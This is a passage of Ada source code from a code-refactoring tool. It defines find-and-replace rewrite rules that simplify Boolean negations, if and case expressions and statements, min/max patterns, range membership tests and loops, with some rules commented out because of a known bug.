Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left = $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left /= $S_Right)", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Not_Different : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left /= $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left = $S_Right)", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
function Accept_Usage_Less_Equal (Match : Match_Pattern) return Boolean is
(not Is_Within_Base_Subp_Body (Match, "<="));
-- do not change the implementation of the "<=" operator
Rewriter_Not_Greater_Than : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left > $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left <= $S_Right)", Expr_Rule),
Accept_Usage_Less_Equal'Access,
Rewriters => To_Vector (RMP'Access, 1));
function Accept_Usage_Less_Than (Match : Match_Pattern) return Boolean is
(not Is_Within_Base_Subp_Body (Match, "<"));
-- do not change the implementation of the "<" operator
Rewriter_Not_Greater_Equal : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left >= $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left < $S_Right)", Expr_Rule),
Accept_Usage_Less_Than'Access, Rewriters => To_Vector (RMP'Access, 1));
function Accept_Usage_Greater_Equal
(Match : Match_Pattern) return Boolean is
(not Is_Within_Base_Subp_Body (Match, ">="));
-- do not change the implementation of the ">=" operator
Rewriter_Not_Less_Than : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left < $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left >= $S_Right)", Expr_Rule),
Accept_Usage_Greater_Equal'Access,
Rewriters => To_Vector (RMP'Access, 1));
function Accept_Usage_Greater_Than (Match : Match_Pattern) return Boolean is
(not Is_Within_Base_Subp_Body (Match, ">"));
-- do not change the implementation of the ">" operator
Rewriter_Not_Less_Equal : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Left <= $S_Right)", Expr_Rule),
Make_Pattern ("($S_Left > $S_Right)", Expr_Rule),
Accept_Usage_Greater_Than'Access,
Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Not_In : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Var in $M_Values)", Expr_Rule),
Make_Pattern ("($S_Var not in $M_Values)", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Not_Not_In : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_Var not in $M_Values)", Expr_Rule),
Make_Pattern ("($S_Var in $M_Values)", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
Rewriters_Not : constant Rewriters_Sequence.Vector :=
Rewriter_Not_Not'Access & Rewriter_Not_Equal'Access &
Rewriter_Not_Different'Access & Rewriter_Not_Greater_Than'Access &
Rewriter_Not_Greater_Equal'Access & Rewriter_Not_Less_Than'Access &
Rewriter_Not_Less_Equal'Access & Rewriter_Not_In'Access &
Rewriter_Not_Not_In'Access;
Rewriter_And_Then : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Left and $S_Expr", Expr_Rule),
Make_Pattern ("$S_Left and then $S_Expr", Expr_Rule),
Accept_Boolean_No_Side_Effects'Access);
Rewriter_Or_Else : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Left or $S_Expr", Expr_Rule),
Make_Pattern ("$S_Left or else $S_Expr", Expr_Rule),
Accept_Boolean_No_Side_Effects'Access);
Rewriter_Equal_True : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr = true", Expr_Rule),
Make_Pattern ("$S_Expr", Expr_Rule), Accept_Boolean'Access);
-- TODO: do we also need the symmetric variant: true = $S_Expr?
Rewriter_Equal_False : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr = false", Expr_Rule),
Make_Pattern ("not $S_Expr", Expr_Rule), Accept_Boolean'Access);
-- TODO: do we also need the symmetric variant: false = $S_Expr?
Rewriter_Different_True : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr /= true", Expr_Rule),
Make_Pattern ("not $S_Expr", Expr_Rule), Accept_Boolean'Access);
-- TODO: do we also need the symmetric variant: true /= $S_Expr?
Rewriter_Different_False : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr /= false", Expr_Rule),
Make_Pattern ("$S_Expr", Expr_Rule), Accept_Boolean'Access);
-- TODO: do we also need the symmetric variant: false /= $S_Expr?
Rewrite_De_Morgan_Not_And : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_A and then $S_B)", Expr_Rule),
Make_Pattern ("(not ($S_A)) or else (not ($S_B))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
-- TODO: should we also have the reverse direction?
-- enables e.g. if statements to swap their branches!
Rewrite_De_Morgan_Not_Or : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not ($S_A or else $S_B)", Expr_Rule),
Make_Pattern ("(not ($S_A)) and then (not ($S_B))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
Rewrite_De_Morgan_Not_All_Range :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not (for all $S_I in $S_Range => $S_Cond)", Expr_Rule),
Make_Pattern
("(for some $S_I in $S_Range => not ($S_Cond))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
Rewrite_De_Morgan_Not_All_Elements :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("not (for all $S_E of $S_Elements => $S_Cond)", Expr_Rule),
Make_Pattern
("(for some $S_E of $S_Elements => not ($S_Cond))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
Rewrite_De_Morgan_Not_Some_Range :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("not (for some $S_I in $S_Range => $S_Cond)", Expr_Rule),
Make_Pattern
("(for all $S_I in $S_Range => not ($S_Cond))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
Rewrite_De_Morgan_Not_Some_Elements :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("not (for some $S_E of $S_Elements => $S_Cond)", Expr_Rule),
Make_Pattern
("(for all $S_E of $S_Elements => not ($S_Cond))", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
Rewriter_If_True_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if true then $S_Val_True else $S_Val_False", Expr_Rule),
Make_Pattern
("$S_Val_True", Expr_Rule));
Rewriter_If_False_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if false then $S_Val_True else $S_Val_False", Expr_Rule),
Make_Pattern
("$S_Val_False", Expr_Rule));
Rewriter_If_Identical_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Expr then $S_Val else $S_Val", Expr_Rule),
Make_Pattern
("$S_Val", Expr_Rule),
Accept_No_Side_Effects'Access);
Rewriter_If_Different_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_A /= $S_B then $S_Val_True else $S_Val_False", Expr_Rule),
Make_Pattern
("if $S_A = $S_B then $S_Val_False else $S_Val_True", Expr_Rule));
Rewriter_If_Not_Condition_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if not $S_Cond then $S_Val_True else $S_Val_False", Expr_Rule),
Make_Pattern
("if $S_Cond then $S_Val_False else $S_Val_True", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1) & RMP'Access);
Rewriter_If_Not_In_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Expr not in $M_Values then $S_Val_True else $S_Val_False",
Expr_Rule),
Make_Pattern
("if $S_Expr in $M_Values then $S_Val_False else $S_Val_True",
Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Boolean_If_Condition_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_Cond then true else false", Expr_Rule),
Make_Pattern ("$S_Cond", Expr_Rule));
-- TODO: check true & false are booleans
Rewriter_Boolean_If_Not_Condition_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_Cond then false else true", Expr_Rule),
Make_Pattern ("not ($S_Cond)", Expr_Rule),
Rewriters => Rewriters_Not & RMP'Access);
-- TODO: check true & false are booleans
function Accept_Extreme (Match : Match_Pattern) return Boolean is
(Is_Integer_Expression (Match, "$S_X")
and then not Has_Side_Effect (Match, "$S_X")
and then Is_Integer_Expression (Match, "$S_Y")
and then not Has_Side_Effect (Match, "$S_Y"));
Rewriter_Integer_Max_Greater_Than :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X > $S_Y then $S_X else $S_Y", Expr_Rule),
Make_Pattern ("Integer'Max ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Max_Greater_Equal :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X >= $S_Y then $S_X else $S_Y", Expr_Rule),
Make_Pattern ("Integer'Max ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Max_Less_Than :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X < $S_Y then $S_Y else $S_X", Expr_Rule),
Make_Pattern ("Integer'Max ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Max_Less_Equal :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X <= $S_Y then $S_Y else $S_X", Expr_Rule),
Make_Pattern ("Integer'Max ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Min_Greater_Than :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X > $S_Y then $S_Y else $S_X", Expr_Rule),
Make_Pattern ("Integer'Min ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Min_Greater_Equal :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X >= $S_Y then $S_Y else $S_X", Expr_Rule),
Make_Pattern ("Integer'Min ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Min_Less_Than :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X < $S_Y then $S_X else $S_Y", Expr_Rule),
Make_Pattern ("Integer'Min ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
Rewriter_Integer_Min_Less_Equal :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("if $S_X <= $S_Y then $S_X else $S_Y", Expr_Rule),
Make_Pattern ("Integer'Min ($S_X, $S_Y)", Expr_Rule),
Accept_Extreme'Access);
function Accept_Independent (Match : Match_Pattern) return Boolean is
(Are_Independent (Match, "$S_Cond", "$S_Expr"));
Rewriter_Concat_Before_If_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $S_Expr & $S_True else $S_Expr & $S_False",
Expr_Rule),
Make_Pattern
("$S_Expr & (if $S_Cond then $S_True else $S_False)", Expr_Rule),
Accept_Independent'Access, Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Concat_After_If_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $S_True & $S_Expr else $S_False & $S_Expr",
Expr_Rule),
Make_Pattern
("(if $S_Cond then $S_True else $S_False) & $S_Expr", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
-- TODO: how to generalize to other BinOp like +, *,
-- and then, or else, ...?
-- TODO: place in fixed-point rewriter to push as much out as possible
-- TODO: double check that this rewrite is correct
-- (i.e. $S_Cond will always be executed before $S_Expr)
-- for all possible operators (including x ** 0 == 1)
Rewriter_Plus_Before_If_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $S_Expr + $S_True else $S_Expr + $S_False",
Expr_Rule),
Make_Pattern
("$S_Expr + (if $S_Cond then $S_True else $S_False)", Expr_Rule),
Accept_Independent'Access, Rewriters => To_Vector (RMP'Access, 1));
Rewriter_Plus_After_If_Expression :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $S_True + $S_Expr else $S_False + $S_Expr",
Expr_Rule),
Make_Pattern
("(if $S_Cond then $S_True else $S_False) + $S_Expr", Expr_Rule),
Rewriters => To_Vector (RMP'Access, 1));
Rewriters_If_Expression : constant Rewriters_Sequence.Vector :=
-- Outcommented some rewriters to prevent triggering known bug:
-- See issue: https://github.com/TNO/Renaissance-Ada/issues/18
Rewriter_If_True_Expression'Access &
Rewriter_If_False_Expression'Access &
-- Rewriter_If_Identical_Expression'Access &
Rewriter_If_Different_Expression'Access &
Rewriter_If_Not_Condition_Expression'Access &
Rewriter_If_Not_In_Expression'Access &
Rewriter_Boolean_If_Condition_Expression'Access &
Rewriter_Boolean_If_Not_Condition_Expression'Access &
-- Rewriter_Integer_Max_Greater_Than'Access &
-- Rewriter_Integer_Max_Greater_Equal'Access &
-- Rewriter_Integer_Max_Less_Than'Access &
-- Rewriter_Integer_Max_Less_Equal'Access &
-- Rewriter_Integer_Min_Greater_Than'Access &
-- Rewriter_Integer_Min_Greater_Equal'Access &
-- Rewriter_Integer_Min_Less_Than'Access &
-- Rewriter_Integer_Min_Less_Equal'Access &
-- Rewriter_Concat_Before_If_Expression'Access &
Rewriter_Concat_After_If_Expression'Access &
-- Rewriter_Plus_Before_If_Expression'Access &
Rewriter_Plus_After_If_Expression'Access;
Rewriter_Case_Expression_Binary_With_Others :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("case $S_Expr is when $M_Values => $S_Val_In, " &
"when others => $S_Val_Out",
Expr_Rule),
Make_Pattern
("if ($S_Expr) in $M_Values then $S_Val_In else $S_Val_Out",
Expr_Rule),
Rewriters => Rewriters_If_Expression & RMP'Access);
-- TODO - comparable to If expressions
-- once we have clear how to handle case statements
-- with arbitrary number of alternatives
--
-- * Concat Before Case Expression
-- * Concat After Case Expression
-- TODO - comparable to Case Statement
-- once we use Ada2022, that provides declaration expressions
--
-- * Case Single Expression
Rewriter_Double : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Expr + $S_Expr", Expr_Rule),
Make_Pattern ("2 * ($S_Expr)", Expr_Rule),
Accept_No_Side_Effects'Access, Rewriters => To_Vector (RMP'Access, 1));
-- We check for side effects:
-- f(3) + f(3) has side effects (in f) twice
-- while 2 * (f(3)) has side effects only once
--
-- However how important is the side effect?
-- Might be perfectly acceptable to log only once
-- that f is entered, and f returns!
Rewriter_Equals_To_In_Range : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Var = $S_Val1 or else $S_Var = $S_Val2", Expr_Rule),
Make_Pattern ("$S_Var in $S_Val1 | $S_Val2", Expr_Rule));
Rewriter_Combine_In_Range_And_Equal :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Var in $M_Vals or else $S_Var = $S_Val", Expr_Rule),
Make_Pattern ("$S_Var in $M_Vals | $S_Val", Expr_Rule));
-- TODO: put in fix-point rewriter to make range as big as possible
Rewriter_Combine_In_Ranges : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var in $M_Vals_1 or else $S_Var in $M_Vals_2", Expr_Rule),
Make_Pattern ("$S_Var in $M_Vals_1 | $M_Vals_2", Expr_Rule));
-- TODO: put in fix-point rewriter to make range as big as possible
Rewriter_Differents_To_Not_In_Range :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var /= $S_Val1 and then $S_Var /= $S_Val2", Expr_Rule),
Make_Pattern ("$S_Var not in $S_Val1 | $S_Val2", Expr_Rule));
Rewriter_Combine_Not_In_Range_And_Different :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var not in $M_Vals and then $S_Var /= $S_Val", Expr_Rule),
Make_Pattern ("$S_Var not in $M_Vals | $S_Val", Expr_Rule));
-- TODO: put in fix-point rewriter to make range as big as possible
Rewriter_Combine_Not_In_Ranges :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("$S_Var not in $M_Vals_1 and then $S_Var not in $M_Vals_2",
Expr_Rule),
Make_Pattern ("$S_Var not in $M_Vals_1 | $M_Vals_2", Expr_Rule));
-- TODO: put in fix-point rewriter to make range as big as possible
------------------------------------------------------------------------------
-- Statements
------------------------------------------------------------------------------
Rewriter_Unnecessary_Null_Stmt :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern ("$S_Stmt; null;", Stmts_Rule),
Make_Pattern ("$S_Stmt;", Stmt_Rule));
-- TODO: do we also need the swapped version? i.e. "null; $S_Stmts;"
Rewriter_If_True_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if true then $M_Stmts_True; else $M_Stmts_False; end if;",
If_Stmt_Rule),
Make_Pattern ("$M_Stmts_True;", Stmts_Rule),
Rewriters => To_Vector (Rewriter_Unnecessary_Null_Stmt'Access, 1));
-- Warning: by removing $M_Stmts_False; some with/use clauses
-- might become obsolete and the compiler will
-- produce warnings!
Rewriter_If_False_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if false then $M_Stmts_True; else $M_Stmts_False; end if;",
If_Stmt_Rule),
Make_Pattern ("$M_Stmts_False;", Stmts_Rule),
Rewriters => To_Vector (Rewriter_Unnecessary_Null_Stmt'Access, 1));
-- Warning: by removing $M_Stmts_True; some with/use clauses
-- might become obsolete and the compiler will
-- produce warnings!
-- Rewrite only when else branch is NOT empty
Rewriter_If_Different_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_A /= $S_B then $M_Stmts_True; " &
"else $S_Stmt_False; $M_Stmts_False; end if;",
If_Stmt_Rule),
Make_Pattern
("if $S_A = $S_B then $S_Stmt_False; $M_Stmts_False; " &
"else $M_Stmts_True; end if;",
If_Stmt_Rule));
-- Rewrite only when else branch is NOT empty
Rewriter_If_Not_Condition_Stmt :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if not $S_Cond then $M_Stmts_True; " &
"else $S_Stmt_False; $M_Stmts_False; end if;",
If_Stmt_Rule),
Make_Pattern
("if $S_Cond then $S_Stmt_False; $M_Stmts_False; " &
"else $M_Stmts_True; end if;",
If_Stmt_Rule),
Rewriters => To_Vector (RMP'Access, 1));
-- Rewrite only when else branch is NOT empty
Rewriter_If_Not_In_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Expr not in $M_Values " & "then $M_Stmts_True; " &
"else $S_Stmt_False; $M_Stmts_False; " & "end if;",
If_Stmt_Rule),
Make_Pattern
("if $S_Expr in $M_Values " &
"then $S_Stmt_False; $M_Stmts_False; " & "else $M_Stmts_True; " &
"end if;",
If_Stmt_Rule));
Rewriter_Use_Elsif : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond1 then $M_Stmts_True1; else " &
"if $S_Cond2 then $M_Stmts_True2; else $M_Stmts_False2; end if; " &
"end if;",
If_Stmt_Rule),
Make_Pattern
("if $S_Cond1 then $M_Stmts_True1; " &
"elsif $S_Cond2 then $M_Stmts_True2; else $M_Stmts_False2;" &
"end if;",
If_Stmt_Rule));
Rewriter_Null_Then_Branch : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then null; else $S_Stmt; $M_Stmts; end if;",
If_Stmt_Rule),
Make_Pattern
("if not ($S_Cond) then $S_Stmt; $M_Stmts; end if;", If_Stmt_Rule),
Rewriters => Rewriters_Not);
Rewriter_Null_Else_Branch : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $M_Stmts; else null; end if;", If_Stmt_Rule),
Make_Pattern ("if $S_Cond then $M_Stmts; end if;", If_Stmt_Rule));
Rewriter_If_Identical_Branches_Stmt :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Expr then $M_Stmts; else $M_Stmts; end if;", If_Stmt_Rule),
Make_Pattern ("$M_Stmts;", Stmt_Rule), Accept_No_Side_Effects'Access);
-- We can't rewrite when $S_Expr has a side effect,
-- because it would change the behaviour of the program.
Rewriter_If_Identical_Tails_Stmt :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then $M_Stmts_True; $S_Stmt; " &
"else $M_Stmts_False; $S_Stmt; end if;",
If_Stmt_Rule),
Make_Pattern
("if $S_Cond then $M_Stmts_True; " &
"else $M_Stmts_False; end if; $S_Stmt;",
Stmts_Rule),
Rewriters =>
Rewriter_Null_Then_Branch'Access & Rewriter_Null_Else_Branch'Access);
-- TODO: put in fix-point rewriter to remove the whole identical tail
-- not just the last statement.
function Accept_All_Independent (Match : Match_Pattern) return Boolean is
(Are_Independent (Match, "$S_Cond", "$M_Args_Before")
and then Are_Independent (Match, "$S_Cond", "$M_Args_After"));
-- Note that the order of evaluation of parameters is NOT specified in Ada
-- see e.g. http://www.ada-auth.org/standards/12rat/html/Rat12-4-2.html
-- hence also $M_Args_After might be effected and might have an effect!
-- Note that our current implementation doesn't handle this pattern
-- as one would expected, since we have no backtracking implemented yet.
-- So, any match in the current implementation will have
-- an empty list for $M_Args_Before.
Rewriter_If_Argument_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then " &
"$S_Subp ($M_Args_Before, $M_Name => $S_Val_True, $M_Args_After);" &
"else " &
"$S_Subp ($M_Args_Before, $M_Name => $S_Val_False, $M_Args_After);"
& "end if;",
If_Stmt_Rule),
Make_Pattern
("$S_Subp ($M_Args_Before," &
"$M_Name => (if $S_Cond then $S_Val_True else $S_Val_False)," &
"$M_Args_After);",
Call_Stmt_Rule),
Accept_All_Independent'Access, Rewriters => Rewriters_If_Expression);
Rewriter_If_Assignment_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then" & " $S_Var := $S_Val_True;" & "else" &
" $S_Var := $S_Val_False;" & "end if;",
If_Stmt_Rule),
Make_Pattern
("$S_Var := (if $S_Cond then $S_Val_True else $S_Val_False);",
Stmt_Rule),
Rewriters => Rewriters_If_Expression);
Rewriter_If_Return_Stmt : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then return $S_Expr_True; " &
"else return $S_Expr_False; end if;",
If_Stmt_Rule),
Make_Pattern
("return (if $S_Cond then $S_Expr_True else $S_Expr_False);",
Return_Stmt_Rule),
Rewriters => Rewriters_If_Expression);
Rewriter_If_Return_Stmts : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("if $S_Cond then return $S_Expr_True; end if; " &
"return $S_Expr_False;",
Stmts_Rule),
Make_Pattern
("return (if $S_Cond then $S_Expr_True else $S_Expr_False);",
Return_Stmt_Rule),
Rewriters => Rewriters_If_Expression);
Rewriter_Case_Single : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("case $S_Expr is when $M_Values => $M_Stmts; end case;",
Case_Stmt_Rule),
Make_Pattern ("$M_Stmts;", Stmt_Rule), Accept_No_Side_Effects'Access);
-- In case of a case statement with a single alternative (single when branch),
-- the condition "($S_Expr) in $M_Values" is True:
-- Ada requires and the compiler enforces that
-- all possible values are included in the set of alternatives.
-- When the evaluation of the expression has a side effect,
-- we can't leave it out.
Rewriter_Case_Binary_With_Others :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("case $S_Expr is when $M_Values => $M_Stmts_In; " &
"when others => $M_Stmts_Out; end case;",
Case_Stmt_Rule),
Make_Pattern
("if ($S_Expr) in $M_Values then $M_Stmts_In; " &
"else $M_Stmts_Out; end if;",
If_Stmt_Rule),
Rewriters =>
Rewriter_Null_Else_Branch'Access & Rewriter_Null_Then_Branch'Access &
RMP'Access);
Rewriter_Case_Identical_Branches :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("case $S_Expr is " & "when $M_1_Vals => $M_Stmts;" &
"when $M_2_Vals => $M_Stmts;" & "end case;",
Case_Stmt_Rule),
Make_Pattern ("$M_Stmts;", Stmt_Rule), Accept_No_Side_Effects'Access);
-- TODO: How to make a concrete pattern matching
-- an arbitrary number of alternatives?
-- Or at least 2..N, where N is the largest number of alternatives
-- in a case statement in the code base
-- TODO - comparable to If statements
-- once we have clear how to handle case statements
-- with arbitrary number of alternatives
--
-- * Case Argument
-- * Case Assignment
--
-- And also
-- * Case combine alternatives
-- i.e. change "when $M_X => $M_Stmts; when $M_Y => $M_Stmts;"
-- to "when $M_X | $M_Y => $M_Stmts;"
Rewriter_Return_Expression : aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : constant $S_Type := $S_Expr; " &
"begin return $S_Var; end;",
Block_Stmt_Rule),
Make_Pattern ("return $S_Expr;", Return_Stmt_Rule));
function Accept_Variable (Match : Match_Pattern) return Boolean is
(not Is_Referenced_In (Match, "$S_Var", "$S_Cond")
and then not Is_Referenced_In (Match, "$S_Var", "$S_Val_True")
and then Are_Independent (Match, "$S_Val_False", "$S_Cond")
and then not Has_Effect_On (Match, "$S_Val_False", "$S_Val_True")
and then not Has_Effect_On (Match, "$S_Val_False", "$M_Stmts"));
-- To ensure semantically correct rewrite, we have
-- to check that
-- 1. $S_Var is NOT used in both $S_Cond and $S_Val_True
-- 2. swapping the order of execution of $S_Val_False and $S_Cond
-- does not result in a different outcome
-- (due to effects from one on the other)
-- 3. the execution of $S_Val_False doesn't effect
-- the outcome of $S_Val_True
-- 4. the execution of $S_Val_False doesn't effect
-- the outcome of $M_Stmts
-- TODO: can we split this rewriter?
-- Also add the constant keyword when appropriate!
Rewriter_Declare_And_Overwrite :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("declare $S_Var : $S_Type := $S_Val_False; " &
"begin if $S_Cond then $S_Var := $S_Val_True; end if; " &
"$M_Stmts; end;",
Stmt_Rule),
Make_Pattern
("declare $S_Var : $S_Type := " &
"(if $S_Cond then $S_Val_True else $S_Val_False); " &
"begin $M_Stmts; end;",
Stmt_Rule),
Accept_Variable'Access, Rewriters => Rewriters_If_Expression);
function Accept_Single_Variable (Match : Match_Pattern) return Boolean is
(not Is_Referenced_In (Match, "$S_I", "$S_Var"));
-- prevent rewrite when $S_Var is an array access using $S_I
Rewriter_For_All_Range_And_Then :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_I in $S_Range " &
"loop $S_Var := $S_Var and then $S_Cond; end loop;",
Loop_Stmt_Rule),
Make_Pattern
("$S_Var := $S_Var and then (for all $S_I in $S_Range => $S_Cond);",
Stmt_Rule),
Accept_Single_Variable'Access);
Rewriter_For_All_Elements_And_Then :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_E of $S_Elements loop " &
"$S_Var := $S_Var and then $S_Cond;" & "end loop;",
Loop_Stmt_Rule),
Make_Pattern
("$S_Var := $S_Var and then " &
"(for all $S_E of $S_Elements => $S_Cond);",
Stmt_Rule));
Rewriter_For_Some_Range_Or_Else :
aliased constant Rewriter_Find_And_Replace :=
Make_Rewriter_Find_And_Replace
(Make_Pattern
("for $S_I in $S_Range " &
"loop $S_Var := $S_Var or else $S_Cond; end loop;",
